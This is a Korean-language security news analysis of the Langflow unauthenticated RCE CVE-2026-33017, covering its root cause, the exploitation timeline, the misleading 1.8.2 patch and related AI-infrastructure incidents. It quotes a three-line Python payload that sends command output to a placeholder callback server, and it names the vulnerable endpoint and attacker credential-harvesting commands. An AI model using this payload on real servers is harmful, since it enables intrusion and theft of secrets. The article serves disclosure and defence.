Langflow 취약점, 공시 20시간 만에 실전 공격 전환: AI 인프라 보안의 경고등

AI 파이프라인 빌더 Langflow 에서 인증 없이 원격 코드 실행(RCE)이 가능한 치명적 취약점이 공개된 지 20시간 만에 실전 공격이 시작되었습니다. CVE-2026-33017로 등록된 이 취약점은 CVSS 9.8(Critical)을 기록했고, CISA는 3월 25일 KEV(Known Exploited Vulnerabilities) 카탈로그에 긴급 추가했습니다. 연방 기관에는 4월 8일까지 패치가 의무화되었습니다.

더 심각한 문제가 있습니다. NVD와 GitHub Advisory가 패치 버전으로 안내한 1.8.2가 실제로는 여전히 취약하다는 사실이 JFrog 보안 연구팀에 의해 밝혀졌습니다. 실제 패치는 1.9.0입니다. 그리고 이 사건은 고립된 것이 아닙니다. 같은 달에 LiteLLM 공급망 공격, n8n RCE 취약점이 연이어 터졌습니다. AI 인프라가 새로운 공격 표면으로 떠오르고 있다는 구조적 경고입니다.

AI 파이프라인 빌더가 해커의 표적이 된 이유

Langflow는 AI 에이전트와 RAG 파이프라인을 시각적 드래그 앤 드롭으로 구축할 수 있는 오픈소스 플랫폼입니다. GitHub 스타 14만 개 이상을 보유한 대규모 프로젝트로, LangChain 프레임워크 위에 구축되어 데이터 사이언티스트와 엔지니어들이 LLM 기반 애플리케이션을 프로토타이핑하고 배포하는 데 널리 사용합니다.

문제는 이런 AI 파이프라인 도구들이 조직의 가장 민감한 자산을 한곳에 집중시킨다는 점입니다. OpenAI API 키, Anthropic API 키, AWS 자격 증명, 데이터베이스 연결 문자열, 클라우드 토큰이 모두 하나의 .env 파일이나 환경변수에 저장되어 있습니다. 공격자에게 Langflow 서버 하나를 탈취하는 것은 조직 전체 AI 인프라로의 래터럴 무브먼트 진입점을 얻는 것과 같습니다.

그리고 이번이 처음이 아닙니다. Langflow는 2025년 5월에도 CVE-2025-3248(CVSS 9.8)로 CISA KEV에 등재된 적이 있습니다. 당시 /api/v1/validate/code 엔드포인트에서 인증 없이 코드를 실행할 수 있었고, 이 취약점은 Flodrix 봇넷 배포에 악용되었습니다. 같은 해 CVE-2025-34291(CVSS 9.4)에서는 계정 탈취와 RCE가 체인으로 연결되기도 했습니다.

AI 인프라 도구들의 보안 취약점이 연쇄적으로 터지는 흐름 속에서, 2026년 3월은 특히 집중적인 달이었습니다. Langflow CVE-2026-33017 외에도 LiteLLM에서는 PyPI를 통한 공급망 공격이 발생해 SSH 키와 Kubernetes 토큰이 탈취되었고, n8n에서도 유사한 RCE 취약점(CVE-2026-27577, CVE-2026-27493)이 발견되었습니다.

취약점 해부: 단일 HTTP 요청으로 서버 장악

이번 취약점의 메커니즘을 들여다보면, 왜 20시간 만에 공격이 가능했는지 이해할 수 있습니다.

취약한 엔드포인트는 POST /api/v1/build_public_tmp/{flow_id}/flow입니다. 이 엔드포인트는 공개 플로우를 인증 없이 빌드할 수 있도록 설계되었습니다. 핵심 문제는 data 파라미터 처리에 있습니다.

공격자가 조작된 플로우 정의를 data 파라미터로 전송하면, 서버는 데이터베이스에 저장된 플로우 대신 공격자가 제공한 데이터를 그대로 사용합니다. 노드 정의에 포함된 임의의 Python 코드가 validate.py의 prepare_global_scope() 함수에 도달하고, 이 함수는 제한 없이 모듈을 임포트하고 compiled code를 샌드박스 없이 실행합니다. HTTP 요청에서 코드 실행까지 10개 함수 호출 체인. 단일 HTTP POST 요청으로 완전한 RCE가 달성됩니다.

Barrack AI의 보안 연구원 Aviral Srivastava가 수행한 근본 원인 분석이 더 충격적입니다. src/backend/base/langflow/api/v1/chat.py를 분석한 결과, 인증된 빌드 엔드포인트(line 138)와 공개 빌드 엔드포인트(line 580)가 동일한 data 파라미터를 받아 동일한 파이프라인에 전달하는 구조였습니다. 지난해 CVE-2025-3248 패치 시 /api/v1/validate/code에 인증만 추가했지만, 근본적인 unsandboxed 실행 메커니즘은 그대로 남겨두었습니다. 결국 다른 엔드포인트에서 동일한 취약점이 재발한 것입니다.

"코드베이스에서 취약점을 한 번 수정했다면, 같은 패턴이 다른 곳에도 존재하는지 반드시 확인하라. 첫 번째 수정은 거의 마지막이 아니다."

— Aviral Srivastava, Barrack AI

실제 공격에 사용된 페이로드는 놀라울 만큼 간결합니다.

_r = __import__('os').popen('id').read()
_enc = __import__('base64').b64encode(_r.encode()).decode()
__import__('urllib.request').request.urlopen('http://<callback-server>/' + _enc)

세 줄의 Python 코드로 서버의 시스템 정보를 탈취하고 외부로 전송합니다. 이 코드가 인증 없이 실행된다는 것이 이 취약점의 본질입니다.

20시간의 기록: 공시에서 실전 공격까지

Sysdig Threat Research Team이 허니팟과 텔레메트리로 관측한 공격 타임라인은 현대 사이버 보안의 냉혹한 현실을 보여줍니다.

2026년 3월 17일 20:05 UTC, 보안 어드바이저리가 공개됩니다. 공개 PoC(Proof of Concept) 코드는 없었습니다. 그런데 20시간 후인 3월 18일 16:04 UTC, 프랑크푸르트 IP에서 첫 번째 익스플로잇 시도가 관측됩니다. 1분 뒤인 16:05에는 싱가포르 DigitalOcean IP에서 두 번째 공격자의 프로빙이 시작됩니다. 공격자들은 PoC 없이 어드바이저리 텍스트만으로 익스플로잇을 역설계한 것입니다.

공격은 크게 두 단계로 진행되었습니다.

Phase 1은 자동화된 Nuclei 스캐닝이었습니다. 공격자들은 Nuclei 취약점 스캐너에 커스텀 템플릿을 작성하여 대규모 스캐닝을 수행했습니다. Cookie 헤더에 client_id=nuclei-scanner, 플로우 이름에 nuclei-cve-2026-33017을 넣는 등 도구의 흔적이 명확했습니다. interactsh 콜백 서버로 결과를 전송하는 전형적인 OAST(Out-of-band Application Security Testing) 패턴이었습니다. 프랑크푸르트, 싱가포르, 파리 등 4개 소스 IP에서 동시에 진행되었습니다.

Phase 2는 수동 표적형 공격으로 진화했습니다. 네덜란드 Lelystad와 프랑스 Lauterbourg에서 접속한 고급 공격자들은 C2(Command & Control) 인프라를 갖추고 정교한 수확 작업을 수행했습니다. 인도 DigitalOcean에 C2 서버(143.110.183.86:8080)를 두고, 환경변수에서 DB 연결 문자열과 API 키, 클라우드 자격 증명을 추출했습니다. /etc/passwd 내용을 읽고, find /app -name "*.db" 명령으로 데이터베이스 파일을 탐색했으며, .env 파일과 설정 파일을 수확했습니다.

48시간 내 6개 고유 소스 IP에서 공격이 시도되었고, 1주일 동안 1,000건 이상의 익스플로잇 시도가 관측되었습니다. info stealer, 리버스 셸, 크립토마이너 등 다양한 악성코드가 배포되었습니다.

주목해야 할 숫자가 있습니다. 공시에서 공격까지의 시간, 즉 time-to-exploit이 극단적으로 축소되고 있다는 점입니다. 2018년 취약점의 time-to-exploit 중앙값은 771일이었습니다. 2024년에는 4시간까지 줄었습니다. 이번 Langflow 사례는 20시간이지만, PoC 코드 없이 어드바이저리 텍스트만으로 달성했다는 점에서 공격자들의 역량이 한 단계 더 올라갔음을 보여줍니다.

패치했다고 안심하면 안 됩니다: 1.8.2의 함정

이 사건에서 가장 위험한 부분은 패치 혼란입니다.

NVD(National Vulnerability Database)와 GitHub Advisory, 그리고 Langflow의 릴리스 노트 모두 1.8.2를 패치 버전으로 표기했습니다. 보안 담당자라면 당연히 이 정보를 신뢰하고 1.8.2로 업그레이드했을 것입니다.

그런데 JFrog Security Research가 직접 검증한 결과, 1.8.2에서도 익스플로잇이 성공했습니다. PyPI 패키지와 Docker 환경 모두에서 공개 PoC가 동작했습니다. JFrog 팀은 커밋 히스토리를 리뷰했지만 "취약점을 수정한 패치를 식별할 수 없었다"고 보고했습니다.

실제 패치가 적용된 버전은 Langflow 1.9.0(langflow-base 0.9.0) 입니다. PR #12160에서 취약한 파라미터 자체를 제거하는 방식으로 수정되었습니다. 업그레이드가 즉시 불가능한 경우 langflow-nightly 1.9.0.dev18을 사용할 수 있으며, JFrog가 이 버전의 안전성을 검증했습니다.

이 상황이 위험한 이유는 명확합니다. 보안 패치의 1차 소스로 간주되는 NVD와 GitHub Advisory가 잘못된 정보를 게시했다는 것입니다. 이 정보를 신뢰하고 1.8.2로 업그레이드한 조직은 패치를 적용했다고 안심하면서도 여전히 공격에 노출되어 있습니다.

누가, 어떻게 영향받는가

이번 취약점의 영향 범위를 정리하면 다음과 같습니다.

직접 영향을 받는 대상은 Langflow를 인터넷에 노출하여 운영 중인 모든 조직과 개인입니다. Langflow 1.8.1 이하 버전 사용자 전체가 해당되며, 1.8.2 사용자도 여전히 취약합니다.

공격자가 Langflow 서버를 장악하면 탈취할 수 있는 것들은 다음과 같습니다. 환경변수에 저장된 OpenAI, Anthropic, AWS API 키, 데이터베이스 연결 문자열, 클라우드 자격 증명, Kubernetes 토큰, 그리고 .env 파일에 저장된 모든 시크릿입니다. 이것이 단순한 서버 한 대의 문제가 아닌 이유입니다. AI 파이프라인 서버는 조직의 AI 인프라 전체와 연결되어 있으므로, 단일 침투점이 전체 인프라 침해로 이어지는 구조적 위험을 갖고 있습니다.

CISA는 이 취약점의 심각성을 인지하고 연방 기관에 2026년 4월 8일까지 패치를 의무화했습니다(BOD 22-01). 현재까지 랜섬웨어 악용 사례는 확인되지 않았지만, 이미 관측된 공격 패턴(API 키 탈취, 환경변수 수확)은 충분히 심각한 수준입니다.

즉시 취해야 할 조치는 명확합니다. Langflow 1.9.0으로 업그레이드하는 것이 최우선입니다. 업그레이드가 불가능하다면 취약 엔드포인트(/api/v1/build_public_tmp/)에 대한 접근을 차단해야 합니다. Langflow를 인터넷에 직접 노출하지 말고 반드시 VPN이나 방화벽 뒤에 배치해야 합니다. 침해가 의심되면 모든 API 키, 데이터베이스 자격 증명, 클라우드 시크릿을 즉시 교체해야 합니다.

2026년 3월, AI 인프라 보안의 연쇄 충격

Langflow만의 문제가 아닙니다. 2026년 3월은 AI 인프라 보안에 있어 유례없는 연쇄 충격의 달이었습니다.

LiteLLM 공급망 공격은 또 다른 차원의 위협을 보여줬습니다. 3월 24일, PyPI에 악성 코드가 삽입된 LiteLLM 1.82.7과 1.82.8 버전이 배포되었습니다. LiteLLM은 월 9,700만 다운로드를 기록하는 LLM 프록시 도구입니다. TeamPCP 위협 그룹의 소행으로 밝혀진 이 공격에서는 SSH 키, 클라우드 자격 증명, Kubernetes 토큰이 탈취되었습니다. 코드 자체의 취약점이 아니라 공급망을 오염시킨 것입니다.

n8n 워크플로우 자동화 도구에서도 CVE-2026-27577과 CVE-2026-27493으로 RCE 취약점이 발견되었습니다. 샌드박스 이스케이프를 통한 공격으로, Langflow와 마찬가지로 코드 실행 환경의 격리 실패가 근본 원인이었습니다.

이 세 사건의 공통점은 무엇일까요? 모두 AI 워크플로우를 구축하는 인프라 도구라는 점입니다. 그리고 모두 코드 실행 기능을 핵심 기능으로 내장하고 있으며, 그 실행 환경이 충분히 격리되지 않았습니다.

OWASP 2026 Top 10이 이를 명시적으로 경고합니다.

"코드 생성 에이전트가 샌드박스 없는 환경에서 출력을 실행하면, 공격자에게 RCE 직행 경로를 제공한다."

이것은 AI 도구 생태계가 구조적으로 안고 있는 문제입니다. AI 파이프라인 빌더는 본질적으로 코드를 동적으로 생성하고 실행해야 합니다. 이 기능이 도구의 핵심 가치인 동시에, 보안의 가장 취약한 지점이기도 합니다.

보안 커뮤니티와 개발자들의 반응

이번 사건에 대한 보안 커뮤니티의 반응은 단순한 경고를 넘어 구조적 문제 인식으로 이어지고 있습니다.

Sysdig Threat Research Team은 실시간 허니팟과 텔레메트리로 공격 패턴을 상세 분석하며, 공격자들이 PoC 없이 어드바이저리 텍스트만으로 익스플로잇을 제작한 점을 강조했습니다. 이는 보안 어드바이저리 자체가 공격 가이드가 될 수 있다는 딜레마를 다시 한번 환기시킵니다.

JFrog Security Research는 패치 버전으로 알려진 1.8.2가 여전히 취약하다는 사실을 발견하며 가장 실질적인 기여를 했습니다. 공식 소스가 제공하는 패치 정보와 실제 보안 상태 사이의 위험한 괴리를 드러낸 것입니다.

CSO Online은 이 사건의 의미를 이렇게 요약했습니다.

"이것은 예외가 아니라 새로운 표준이 되고 있습니다. 인기 있는 오픈소스 도구의 치명적 취약점이 공시 수 시간 내에 무기화됩니다."

(원문: "This is not the exception but the new norm. Critical vulnerabilities in popular open-source tools are being weaponized within hours of disclosure.")

개발자 커뮤니티에서는 더 근본적인 우려가 제기되고 있습니다. DEV.to와 보안 포럼에서는 유사한 unsandboxed 코드 실행 패턴이 MetaGPT, LangChain, AutoGen, SWE-Agent 등 다른 AI 프레임워크에도 존재한다는 지적이 나왔습니다. "AI 도구 개발 속도가 보안 검증 속도를 크게 앞서고 있다"는 공감대가 형성되고 있습니다. AI 파이프라인 빌더를 인터넷에 직접 노출하는 것 자체에 대한 재고가 필요하다는 목소리도 높아지고 있습니다.

AI 인프라 보안, 이제 선택이 아닙니다

이번 Langflow 사건이 가리키는 방향은 명확합니다.

첫째, AI 도구 보안 감사가 필수화될 것입니다. Unsandboxed 코드 실행 패턴이 AI 프레임워크 전반에 만연해 있습니다. OWASP 2026 Top 10이 이를 명시적으로 경고하기 시작했고, 기업들은 AI 도구를 도입할 때 보안 감사를 필수 절차로 포함해야 할 것입니다. "빠르게 프로토타이핑하고 나중에 보안을 추가하자"는 접근은 더 이상 유효하지 않습니다.

둘째, time-to-exploit 윈도우가 계속 축소됩니다. 어드바이저리 공개만으로 즉시 무기화되는 패턴이 표준화되고 있습니다. 이번처럼 PoC 없이도 20시간 만에 공격이 시작되는 상황에서, 패치 배포 전에 공격이 시작되는 "zero-day equivalent" 상황이 더 빈번해질 것입니다. 보안 팀에게 주어지는 대응 시간이 갈수록 줄어들고 있습니다.

셋째, 패치 검증의 중요성이 부각됩니다. NVD와 GitHub Advisory 같은 권위 있는 소스가 잘못된 패치 정보를 게시한 사례가 드러났습니다. 공식 소스만 신뢰하는 것으로는 부족하며, 실제 패치 적용 여부를 독립적으로 검증하는 절차가 필요합니다.

넷째, AI 파이프라인의 공격 표면이 확대되고 있습니다. AI 파이프라인이 조직의 API 키, 클라우드 자격 증명, 데이터베이스를 한 곳에 집중시키는 구조는 편의성의 대가로 보안 위험을 극대화합니다. 단일 취약점이 전체 인프라 침해로 이어지는 구조적 위험을 인식하고, 시크릿 관리와 네트워크 격리에 대한 근본적인 재설계가 필요합니다.

AI 도구의 발전 속도는 놀랍습니다. 하지만 보안은 그 속도를 따라가지 못하고 있습니다. Langflow CVE-2026-33017은 단일 취약점 사건이 아니라, AI 인프라 전체가 새로운 공격 표면이 되고 있다는 구조적 전환의 신호입니다. AI 파이프라인을 운영하는 모든 조직은 지금 자신의 인프라가 인터넷에 어떻게 노출되어 있는지, 시크릿이 어떻게 관리되고 있는지, 그리고 사용 중인 도구의 패치 상태가 실제로 안전한지를 점검해야 할 때입니다.